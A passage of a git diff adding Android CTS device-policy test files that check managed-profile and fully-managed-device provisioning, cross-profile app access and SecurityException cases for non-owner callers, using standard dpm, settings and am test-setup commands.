+                sDeviceState.getWorkProfile())).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getPrimaryUser());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingIconDrawable(sDeviceState.getSecondaryUser());
+        });
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabelIconDrawable_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingIconDrawable(
+                    sDeviceState.getWorkProfile(/* forUser= */ PRIMARY_USER));
+        });
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingIconDrawable_callingFromWorkProfile_targetIsPrimaryUser_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
+                sDeviceState.getPrimaryUser())).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingIconDrawable_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
+                sDeviceState.getWorkProfile())).isNotNull();
+    }
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CtsDeviceAdminProfileOwner.java b/tests/devicepolicy/src/android/devicepolicy/cts/CtsDeviceAdminProfileOwner.java
new file mode 100644
index 0000000..97f63e5
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CtsDeviceAdminProfileOwner.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+public class CtsDeviceAdminProfileOwner {
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CtsDeviceAdminReceiver.java b/tests/devicepolicy/src/android/devicepolicy/cts/CtsDeviceAdminReceiver.java
new file mode 100644
index 0000000..f5fd81f
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CtsDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class CtsDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
new file mode 100644
index 0000000..14ed51d
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import static junit.framework.Assert.fail;
+
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.FullyManagedDeviceProvisioningParams;
+import android.app.admin.ManagedProfileProvisioningParams;
+import android.app.admin.ProvisioningException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+@RunWith(AndroidJUnit4.class)
+public final class DevicePolicyManagerTest {
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final DevicePolicyManager sDevicePolicyManager =
+            sContext.getSystemService(DevicePolicyManager.class);
+    private static final UiAutomation sUiAutomation =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    private static final PackageManager sPackageManager = sContext.getPackageManager();
+    private static final SharedPreferences sSharedPreferences =
+            sContext.getSharedPreferences("required-apps.txt", Context.MODE_PRIVATE);
+
+    private static final ComponentName DEVICE_ADMIN_COMPONENT_NAME = new ComponentName(
+            sContext, CtsDeviceAdminReceiver.class);
+
+    private static final String PROFILE_OWNER_NAME = "testDeviceAdmin";
+    private static final String DEVICE_OWNER_NAME = "testDeviceAdmin";
+
+    private static final String KEY_PRE_PROVISIONING_SYSTEM_APPS = "pre_provisioning_system_apps";
+    private static final String KEY_PRE_PROVISIONING_NON_SYSTEM_APPS =
+            "pre_provisioning_non_system_apps";
+
+    private static final String SET_DEVICE_OWNER_ACTIVE_ADMIN_COMMAND =
+            "dpm set-active-admin --user cur " + DEVICE_ADMIN_COMPONENT_NAME.flattenToString();
+    private static final String SET_DEVICE_OWNER_COMMAND =
+            "dpm set-device-owner --user cur " + DEVICE_ADMIN_COMPONENT_NAME.flattenToString();
+    private static final String REMOVE_ACTIVE_ADMIN_COMMAND =
+            "dpm remove-active-admin --user cur " + DEVICE_ADMIN_COMPONENT_NAME.flattenToString();
+    private static final String SET_USER_SETUP_COMPLETE_COMMAND =
+            "settings put secure --user 0 user_setup_complete 1";
+    private static final String CLEAR_USER_SETUP_COMPLETE_COMMAND =
+            "settings put secure --user 0 user_setup_complete 0";
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    public void testCreateAndProvisionManagedProfile_setsProfileOwner() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            ManagedProfileProvisioningParams params = createManagedProfileProvisioningParams();
+
+            profile = sDevicePolicyManager.createAndProvisionManagedProfile(params);
+
+            final DevicePolicyManager profileDpm = getDpmForProfile(profile);
+            assertTrue("Profile owner not set", profileDpm.isProfileOwnerApp(
+                                    sContext.getPackageName()));
+        } finally {
+            if (profile != null) {
+                sContext.getSystemService(UserManager.class).removeUser(profile);
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    public void testCreateAndProvisionManagedProfile_createsProfile() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            final ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParams();
+
+            profile = sDevicePolicyManager.createAndProvisionManagedProfile(params);
+
+            assertNotNull(profile);
+        } finally {
+            if (profile != null) {
+                sContext.getSystemService(UserManager.class).removeUser(profile);
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private ManagedProfileProvisioningParams createManagedProfileProvisioningParams() {
+        return new ManagedProfileProvisioningParams.Builder(
+                        DEVICE_ADMIN_COMPONENT_NAME,
+                        PROFILE_OWNER_NAME)
+                        .build();
+    }
+
+    private DevicePolicyManager getDpmForProfile(UserHandle profile) {
+        return sContext.createContextAsUser(profile, /* flags= */ 0).getSystemService(
+                DevicePolicyManager.class);
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void testProvisionFullyManagedDevice_setsDeviceOwner() throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            resetUserSetupCompletedFlag();
+            FullyManagedDeviceProvisioningParams params = createManagedDeviceProvisioningParams();
+
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            assertTrue(
+                    "Device owner not set",
+                    sDevicePolicyManager.isDeviceOwnerApp(sContext.getPackageName()));
+        } finally {
+            SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+            setUserSetupCompletedFlag();
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void testProvisionFullyManagedDevice_doesNotThrowException() {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            resetUserSetupCompletedFlag();
+            FullyManagedDeviceProvisioningParams params = createManagedDeviceProvisioningParams();
+
+            try {
+                sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            } catch (ProvisioningException e) {
+                fail("Should not throw exception: " + e);
+            }
+        } finally {
+            SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @Test
+    public void provisionFullyManagedDevice_canControlSensorPermissionGrantsByDefault()
+            throws ProvisioningException {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            resetUserSetupCompletedFlag();
+
+            FullyManagedDeviceProvisioningParams params = createManagedDeviceProvisioningParams();
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            assertThat(sDevicePolicyManager.canAdminGrantSensorsPermissions()).isTrue();
+        } finally {
+            SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @Test
+    public void provisionFullyManagedDevice_canOptOutOfControllingSensorPermissionGrants()
+            throws ProvisioningException {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            resetUserSetupCompletedFlag();
+
+            FullyManagedDeviceProvisioningParams params = createManagedDeviceProvisioningParams(
+                    /* canControlPermissionGrant= */ false);
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            assertThat(sDevicePolicyManager.canAdminGrantSensorsPermissions()).isFalse();
+        } finally {
+            SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    FullyManagedDeviceProvisioningParams.Builder
+            createDefaultManagedDeviceProvisioningParamsBuilder() {
+        return new FullyManagedDeviceProvisioningParams.Builder(
+                DEVICE_ADMIN_COMPONENT_NAME,
+                DEVICE_OWNER_NAME)
+                // Don't remove system apps during provisioning until the testing
+                // infrastructure supports restoring uninstalled apps.
+                .setLeaveAllSystemAppsEnabled(true);
+    }
+
+    FullyManagedDeviceProvisioningParams createManagedDeviceProvisioningParams() {
+        return createDefaultManagedDeviceProvisioningParamsBuilder().build();
+    }
+
+    FullyManagedDeviceProvisioningParams createManagedDeviceProvisioningParams(
+            boolean canControlPermissionGrants) {
+        return createDefaultManagedDeviceProvisioningParamsBuilder()
+                .setDeviceOwnerCanGrantSensorsPermissions(canControlPermissionGrants)
+                .build();
+    }
+
+    private void resetUserSetupCompletedFlag() {
+        SystemUtil.runShellCommand(CLEAR_USER_SETUP_COMPLETE_COMMAND);
+        sDevicePolicyManager.forceUpdateUserSetupComplete();
+    }
+
+    private void setUserSetupCompletedFlag() {
+        SystemUtil.runShellCommand(SET_USER_SETUP_COMPLETE_COMMAND);
+        sDevicePolicyManager.forceUpdateUserSetupComplete();
+    }
+
+
+    // TODO(b/175380793): Add remaining cts test for DPM#provisionManagedDevice and
+    //  DPM#createAndProvisionManagedProfile.
+    //  Currently the following methods are not used.
+    /**
+     * Allows {@link #restorePreProvisioningApps} to be called to restore the pre-provisioning apps
+     * that were uninstalled during provisioning.
+     */
+    private void persistPreProvisioningApps() {
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_ACTIVE_ADMIN_COMMAND);
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_COMMAND);
+
+        Set<String> systemApps = findSystemApps();
+        sSharedPreferences.edit()
+                .putStringSet(KEY_PRE_PROVISIONING_SYSTEM_APPS, systemApps)
+                .commit();
+        Set<String> nonSystemApps = findNonSystemApps(systemApps);
+        sSharedPreferences.edit()
+                .putStringSet(KEY_PRE_PROVISIONING_NON_SYSTEM_APPS, nonSystemApps)
+                .commit();
+        sDevicePolicyManager.setKeepUninstalledPackages(
+                DEVICE_ADMIN_COMPONENT_NAME, new ArrayList<>(nonSystemApps));
+
+        SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+    }
+
+    /**
+     * Restores apps that were uninstalled prior to provisioning. No-op if {@link
+     * #persistPreProvisioningApps()} was not called prior to provisioning. Subsequent
+     * calls will need another prior call to {@link #persistPreProvisioningApps()} to avoid being a
+     * no-op.
+     */
+    public void restorePreProvisioningApps() {
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_ACTIVE_ADMIN_COMMAND);
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_COMMAND);
+
+        Set<String> postProvisioningSystemApps = findSystemApps();
+        restorePreProvisioningSystemApps(postProvisioningSystemApps);
+        restorePreProvisioningNonSystemApps(postProvisioningSystemApps);
+        sSharedPreferences.edit().clear().commit();
+        sDevicePolicyManager.setKeepUninstalledPackages(
+                DEVICE_ADMIN_COMPONENT_NAME, new ArrayList<>());
+
+        SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+    }
+
+    private void restorePreProvisioningSystemApps(Set<String> postProvisioningSystemApps) {
+        Set<String> preProvisioningSystemApps = sSharedPreferences.getStringSet(
+                KEY_PRE_PROVISIONING_SYSTEM_APPS, Collections.emptySet());
+        for (String preProvisioningSystemApp : preProvisioningSystemApps) {
+            if (postProvisioningSystemApps.contains(preProvisioningSystemApp)) {
+                continue;
+            }
+            sDevicePolicyManager.enableSystemApp(
+                    DEVICE_ADMIN_COMPONENT_NAME, preProvisioningSystemApp);
+        }
+    }
+
+    private void restorePreProvisioningNonSystemApps(Set<String> postProvisioningSystemApps) {
+        Set<String> preProvisioningNonSystemApps = sSharedPreferences.getStringSet(
+                KEY_PRE_PROVISIONING_NON_SYSTEM_APPS, Collections.emptySet());
+        Set<String> postProvisioningNonSystemApps = findNonSystemApps(postProvisioningSystemApps);
+        for (String preProvisioningNonSystemApp : preProvisioningNonSystemApps) {
+            if (postProvisioningNonSystemApps.contains(preProvisioningNonSystemApp)) {
+                continue;
+            }
+            sDevicePolicyManager.installExistingPackage(
+                    DEVICE_ADMIN_COMPONENT_NAME, preProvisioningNonSystemApp);
+        }
+    }
+
+    private Set<String> findSystemApps() {
+        return sPackageManager.getInstalledApplications(PackageManager.MATCH_SYSTEM_ONLY)
+                .stream()
+                .map(applicationInfo -> applicationInfo.packageName)
+                .collect(Collectors.toSet());
+    }
+
+    private Set<String> findNonSystemApps(Set<String> systemApps) {
+        return sPackageManager.getInstalledApplications(PackageManager.MATCH_ALL)
+                .stream()
+                .map(applicationInfo -> applicationInfo.packageName)
+                .filter(packageName -> !systemApps.contains(packageName))
+                .collect(Collectors.toSet());
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java b/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
new file mode 100644
index 0000000..6d8df49
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.junit.Assert.assertNull;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LauncherApps;
+import android.os.Process;
+import android.os.UserHandle;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class LauncherAppsTests {
+    private final Context sContext = ApplicationProvider.getApplicationContext();
+    private final LauncherApps sLauncherApps = sContext.getSystemService(LauncherApps.class);
+
+    @Test
+    public void testResolveInvalidActivity_doesNotCrash() {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName("invalidPackage", "invalidClass"));
+
+        // Test that resolving invalid intent does not crash launcher
+        assertNull(sLauncherApps.resolveActivity(intent, Process.myUserHandle()));
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
new file mode 100644
index 0000000..ebfaf40
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.widget.TextView;
+
+/**
+ * An activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        setContentView(R.layout.main);
+    }
+
+    @Override
+    public void onStart() {
+        super.onStart();
+        TextView textView = findViewById(R.id.user_textview);
+        textView.setText(Long.toString(getCurrentUserSerialNumber()));
+    }
+
+    private long getCurrentUserSerialNumber() {
+        UserManager userManager = getSystemService(UserManager.class);
+        return userManager.getSerialNumberForUser(Process.myUserHandle());
+    }
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
new file mode 100644
index 0000000..e75e529
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that certain DevicePolicyManager APIs aren't available to non-owner apps and that they throw
+ * SecurityException when invoked by such apps. For most of the older APIs that accept an explicit
+ * ComponentName admin argument, this is tested in android.admin.cts.DevicePolicyManagerTest by
+ * passing an admin that is not owner, but for newer APIs authorization is done based on caller UID,
+ * so it is critical that the app is not owner. These APIs are tested here.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NegativeCallAuthorizationTest {
+    private static final String ALIAS = "some-alias";
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final DevicePolicyManager sDpm =
+            sContext.getSystemService(DevicePolicyManager.class);
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    public void testHasKeyPair_failIfNotOwner() {
+        assertThrows(SecurityException.class, () -> sDpm.hasKeyPair(ALIAS));
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    public void testGetKeyPairGrants_failIfNotOwner() {
+        assertThrows(SecurityException.class, () -> sDpm.getKeyPairGrants(ALIAS));
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
new file mode 100644
index 0000000..a76f4ee
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.Activity;
+
+/** Activity used for Cross Profile Apps Tests */
+public class NonExportedActivity extends Activity {
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
new file mode 100644
index 0000000..7ef5f8a
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.Activity;
+
+/** Activity used for Cross Profile Apps Tests */
+public class NonMainActivity extends Activity {
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
new file mode 100644
index 0000000..2b7679d
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.ArraySet;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasSecondaryUser;
+import com.android.compatibility.common.util.enterprise.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.NoSuchElementException;
+import java.util.Scanner;
+
+@RunWith(AndroidJUnit4.class)
+public final class StartProfilesTest {
+
+    private static final int USER_START_TIMEOUT_MILLIS = 30 * 1000; // 30 seconds
+
+    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+    private static final UserManager USER_MANAGER = CONTEXT.getSystemService(UserManager.class);
+
+    private BroadcastReceiver mBroadcastReceiver;
+    private UiAutomation mUiAutomation =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    private final Object mUserStartStopLock = new Object();
+    private boolean mBroadcastReceived = false;
+
+    @ClassRule @Rule
+    public static final DeviceState DEVICE_STATE = new DeviceState();
+
+    @After
+    public void tearDown() {
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    //TODO: b/171565394 - use DEVICE_STATE.registerBroadcastReceiver when it supports extra
+    // filters (EXTRA_USER)
+    private void registerBroadcastReceiver(final UserHandle userHandle) {
+        mBroadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                switch (intent.getAction()) {
+                    case Intent.ACTION_PROFILE_ACCESSIBLE:
+                    case Intent.ACTION_PROFILE_INACCESSIBLE:
+                        if (userHandle.equals(intent.getParcelableExtra(Intent.EXTRA_USER))) {
+                            synchronized (mUserStartStopLock) {
+                                mBroadcastReceived = true;
+                                mUserStartStopLock.notifyAll();
+                            }
+                        }
+                        break;
+                }
+            }
+        };
+
+        IntentFilter filter = new IntentFilter(Intent.ACTION_PROFILE_ACCESSIBLE);
+        filter.addAction(Intent.ACTION_PROFILE_INACCESSIBLE);
+        CONTEXT.registerReceiver(mBroadcastReceiver, filter);
+    }
+
+    @Test
+    //TODO: b/171565394 - remove after infra. updates
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void testStartProfile() throws InterruptedException {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        UserHandle workProfile = DEVICE_STATE.getWorkProfile();
+        registerBroadcastReceiver(workProfile);
+
+        synchronized (mUserStartStopLock) {
+            mUiAutomation.executeShellCommand("am stop-user -f " + workProfile.getIdentifier());
+            mUserStartStopLock.wait(USER_START_TIMEOUT_MILLIS);
+        }
+        assertThat(USER_MANAGER.isUserRunning(workProfile)).isFalse();
+
+        final ActivityManager activityManager = CONTEXT.getSystemService(ActivityManager.class);
+        synchronized (mUserStartStopLock) {
